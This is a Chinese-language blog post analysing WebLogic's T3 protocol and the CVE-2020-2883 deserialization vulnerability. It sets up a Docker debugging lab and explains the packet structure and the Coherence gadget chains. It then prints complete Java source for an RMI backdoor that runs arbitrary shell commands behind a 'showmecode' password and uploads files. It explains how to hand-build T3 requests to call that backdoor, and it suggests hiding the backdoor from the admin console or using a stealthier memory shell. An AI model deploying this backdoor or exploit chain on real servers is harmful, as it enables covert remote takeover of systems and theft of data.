Weblogic t3协议分析

漏洞介绍

weblogic反序列化漏洞大致有两种,一种是基于t3协议的,一种是基于xml的

基于T3协议漏洞大致有: CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883

其中CVE-2020-2883是CVE-2020-2555补丁的绕过,实则差不多

调试环境搭建

本篇测试CVE-2020-2883漏洞使用docker搭建环境

使用vulfocus/weblogic-cve_2020_2883镜像(weblogic:12.1.3)、idea远程调试

docker-compose.yml配置如下

version: '2' 
services: 
 weblogic: 
   image: vulfocus/weblogic-cve_2020_2883:latest 
   ports: 
    - "7001:7001" 
    - "8453:8453"

然后docker-compose up -d启动镜像,

再docker exec -it <镜像ID> /bin/bash,进入容器shell vi /u01/oracle/weblogic/user_projects/domains/base_domain/bin/setDomainEnv.sh

搜索debugFlag

在if上添加

debugFlag="true" 
export debugFlag

如图

然后:wq保存,exit退出容器`docker restart <容器id>`重启容器,服务端调试环境就搭建好了

还有个问题就是,本地调试需要远程运行项目的jar包或源码,可以直接dokcer cp从镜像里把jar包都拿出来,但是下载速度太慢了,我选择本机在官网下载weblogic12.1.3的安装包,然后解压,把.jar后缀的放到一个文件夹下,当做依赖

在本地打开idea,创建空项目,然后将上面整理好的文件夹,设置为依赖,如图

再设置远程调试,如图

这样调试环境就搭建好了

漏洞测试exp用的是GitHub - Y4er/CVE-2020-2883: Weblogic coherence.jar RCE,运行前修改地址和端口

服务端启动docker后,本地idea开启调试,就可以连接到服务端

然后在wlthint3client.jar!/weblogic/rjvm/InboundMsgAbbrev.class#read处加断点,如图

在此处就可以看见反序列化流程了

t3协议组成分析

首先在发出t3协议数据包之前,要先发一个header,例:t3 10.3.1\nAS:255\nHL:19\n\n

10.3.1是本地客户端请求,AS是abbrevs的大小,HL是header长度

发送完header后再发送t3协议数据包就可以被解析了

abbrevs是一个栈,反序列化出来的对象被叫做abbrev,都会push进去,abbrev分三种,一种是普通的Object,一种是ImmutableObject,一种是ImmutableServiceContext,这三种Object前面都会有个前缀,区别是ImmutableObject类型是ClassTableEntry,有个ObjectStreamClass类型的成员属性descriptor(在反序列化时会先读取descriptor,再通过它创建一个空类,在设置field的值。所以ImmutableObject也可以粗略理解为是类的描述),ImmutableServiceContext对象就是ImmutableServiceContext类型,有个MethodDescriptor类型的data成员属性,data有个signature属性,如图(ImmutableServiceContext可以理解为方法的描述)

一个完整的t3协议,大概包含header(数据包的header,和上面的header不同)、peerinfo、abbrevs

拿一次lookup的请求举例,如图

前19个字节是header,解析header过程如图

其中cmd表示请求类型,flags如上图,如果为1则hasJVMIDs为true,为2则hashTX为true,responseId在服务端的响应中会将请求的id加一返回,invokeableId表示远程调用方法的id,abbrevOffset:abbrevs的位置(abbrev这个结构就是前缀加序列化对象)

header后数据如图

2之前,主要包括“一部分信息”和对象的field,readClassDescriptor方法在MsgAbbrevInputStream类中被重写了,在反序列化时,会从abbrevs中取Class的desc(开头提到的ImmutableObject)。再说这“一部分信息”,如果是context请求,这部分信息就是Publickey(这部分逻辑在这个方法wlthint3client.jar!/weblogic/rjvm/ConnectionManagerServer.class#handleIdentifyRequest)。如果是其它请求,这部分信息就是控制从abbrevs中读取ServiceContext对象的几个字节(这部分逻辑在这个方法wlthint3client.jar!/weblogic/rjvm/MsgAbbrevInputStream.class#readExtendedContexts)

2后面的字节是fe010000,然后才是aced(序列化对象的开头),暂且叫fe010000为前缀吧

如图是解析abbrevs的方法in.readLength()读取的就是fe0100,当大于at.getCapacity()(header请求中AS的值)时才会反序列化后面的数据,否则就会at.getValue()(这个方法一般返回的是null)

readLength方法如下图,当第一个字节的值是254(16进制的fe)时,会继续读两个字节:0100,转10进制就是256,刚好大于AS的值255,所以可以反序列化

readObject方法如图,会读取一个对象类型的标志

所以前缀由一个length和对象类型标志组成,如果想反序列化,这个标志需要为0

其实可以将AS值设置小一点,如253以下,这个前缀fe010000就可以改为fd00了

t3协议解析流程是先读header,得到abbrevsOffest后解析abbrevs(反序列化),读取Publickey或extendedContext、peerinfo

漏洞利用

反序列化

知道了t3协议组成,那反序列化利用就简单了,先发送header,再发一段恶意t3数据包:header+前缀+序列化对象

然后就是利用链的构造,weblogic有个Coherence组件,官方介绍是这样的

这个组件的ReflectionExtractor类,类似CC链的中的Transformer,它可以通过反射调用某个对象的方法,而且也可以通过ChainedExtractor,串联多个ReflectionExtractor

同在Coherence组件的LimitFilter类的toString方法,调用了extractor.extract,如图

所以只需要将m_comparator改为恶意ChainedExtractor,m_oAnchorTop改为Runtime.class,就可以反射调用Runtime的getRuntime->exec,至于toString方法,可以通过BadAttributeValueExpException触发(CC5链学过),这就是CVE-2020-2555的利用链,更新补丁将LimitFilter的toString方法,去掉了extract的调用

但翻看Coherence组件,发现有ExtractorComparator类,可以作为comparator。回忆下CC链,PriorityQueue就用到了comparator:readObject()->heapify()->siftDown()->siftDownUsingComparator()->this.comparator.compare(),所以可以PriorityQueue+ExtractorComparator构造,这就是CVE-2020-2883的利用链

回显利用

因为ReflectionExtractor可以调用任意对象的任意方法,所以可以构造TemplatesImpl实现代码执行,https://github.com/Y4er/CVE-2020-2555项目安装rmi的payload利用链是AnnotationInvocationHandler ->LazyMap->Transformer然后defineClass,再invoke

但如果不出网就需要回显利用,通过反序列化,可以代码执行,所以可以通过java代码,实现一个带回显的后门

后门需要用一个端口传递消息,直接监听个新端口大概率也是在内网,所以最好还是用中间件自身的功能,通过已经开启了端口的服务实现后门,例如注册一个恶意rmi对象,利用t3协议远程调用

注册恶意rmi后门代码如下(这个后门可以上传,安装和卸载)

package com.supeream.payload; 
 
import java.io.BufferedReader; 
import java.io.FileOutputStream; 
import java.io.InputStreamReader; 
import java.rmi.RemoteException; 
import java.util.ArrayList; 
import java.util.List; 
import javax.naming.Context; 
import javax.naming.InitialContext; 
import weblogic.cluster.singleton.ClusterMasterRemote; 
 
public class RemoteImpl implements ClusterMasterRemote { 
    public RemoteImpl() { 
    } 
 
    public static void main(String[] args) { 
        try { 
            RemoteImpl remote = new RemoteImpl(); 
            if (args.length == 2 && args[0].equalsIgnoreCase("blind")) { 
                remote.getServerLocation(args[1]); 
            } else if (args.length == 1) { 
                Context ctx = new InitialContext(); 
                if (args[0].equalsIgnoreCase("install")) { 
                    ctx.rebind("supeream", remote); 
                } else if (args[0].equalsIgnoreCase("uninstall")) { 
                    ctx.unbind("supeream"); 
                } 
            } 
        } catch (Exception var3) { 
        } 
 
    } 
 
    public void setServerLocation(String cmd, String args) throws RemoteException { 
    } 
 
    public static void uploadFile(String path, byte[] content) { 
        try { 
            FileOutputStream fileOutputStream = new FileOutputStream(path); 
            fileOutputStream.write(content); 
            fileOutputStream.flush(); 
            fileOutputStream.close(); 
        } catch (Exception var3) { 
        } 
 
    } 
 
    public String getServerLocation(String cmd) throws RemoteException { 
        try { 
            if (!cmd.startsWith("showmecode")) { 
                return "guess me?"; 
            } else { 
                cmd = cmd.substring(10); 
                boolean isLinux = true; 
                String osTyp = System.getProperty("os.name"); 
                if (osTyp != null && osTyp.toLowerCase().contains("win")) { 
                    isLinux = false; 
                } 
 
                List<String> cmds = new ArrayList(); 
                if (cmd.startsWith("$NO$")) { 
                    cmds.add(cmd.substring(4)); 
                } else if (isLinux) { 
                    cmds.add("/bin/bash"); 
                    cmds.add("-c"); 
                    cmds.add(cmd); 
                } else { 
                    cmds.add("cmd.exe"); 
                    cmds.add("/c"); 
                    cmds.add(cmd); 
                } 
 
                ProcessBuilder processBuilder = new ProcessBuilder(cmds); 
                processBuilder.redirectErrorStream(true); 
                Process proc = processBuilder.start(); 
                BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); 
                StringBuffer sb = new StringBuffer(); 
 
                String line; 
                while((line = br.readLine()) != null) { 
                    sb.append(line).append("\n"); 
                } 
 
                return sb.toString(); 
            } 
        } catch (Exception var10) { 
            return var10.getMessage(); 
        } 
    } 
}

利用payload绑定了恶意rmi后,,就可以调用后门了,大概有获取context,lookup,invoke三个步骤,为了脱离java语言依赖,需要手动构造t3协议,每次请求主要可以分为三部分header、peerinfo、序列化对象

服务端解析t3协议时,通过hasJVMIDs判断是否需要读取JVMID,authentication必须读取,如图

authentication可以为null(上文有截图,令前缀的length小于at.getCapacity()即可)

context组成:ClassTableEntry(PackageInfo)、ClassTableEntry(VersionInfo)、ClassTableEntry(PeerInfo),authentication,jvmid,jvmid(PackageInfo 是VersionInfo 的父类,VersionInfo 是PeerInfo的父类)

lookup组成:ImmutableServiceContext(methodDescript("getNameInNamespace()")),authentication

invoke组成:ImmutableServiceContext(methodDescript("getServerLocation(Ljava.lang.String;)")),authentication

如图是header、context、lookup的请求

通过反序列化代码执行安装rmi后门,然后调用远程方法,即可实现回显,但这种方法注册的rmi后门在控制台可以明显看见(我觉得可以看下bind方法执行流程,和console如何获取已注册的rmi,想办法只让后门生效,但不会在console显示)

除此之外,还可以写内存马,利用80端口回显(这种方式更隐蔽些),weblogic内存马代码在上一篇反序列化分析中贴过了

Yak官方资源

Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
WebLogic Server中的RMI(远程方法调用)通信使用T3协议进行数据传输。配置WebLogic T3协议的方法可以通过设置weblogic.security.net.ConnectionFilterImpl默认连接筛选器来对T3/T3s协议的访问权限进行配置,以阻断漏洞利用途径。此外,美国甲骨文公司已发布了修复补丁,建议用户及时更新至最新版本。在WebLogic Server中,服务器实例将跟踪所连接的每个Java虚拟机(JVM),并创建单个T3连接来处理JVM的所有流量。如需进一步了解如何配置T3协议,请参阅WebLogic Server的管理控制台联机帮助中的相关文档。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [weblogic反序列化之T3协议](https://blog.csdn.net/snowlyzz/article/details/128695272)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [关于WebLogic Server WLS核心组件存在反序列化漏洞的安全公告](https://download.csdn.net/download/qq_30222231/10397317)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [weblogic 使用的T3 协议](https://blog.csdn.net/changyanmanman/article/details/36011725)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值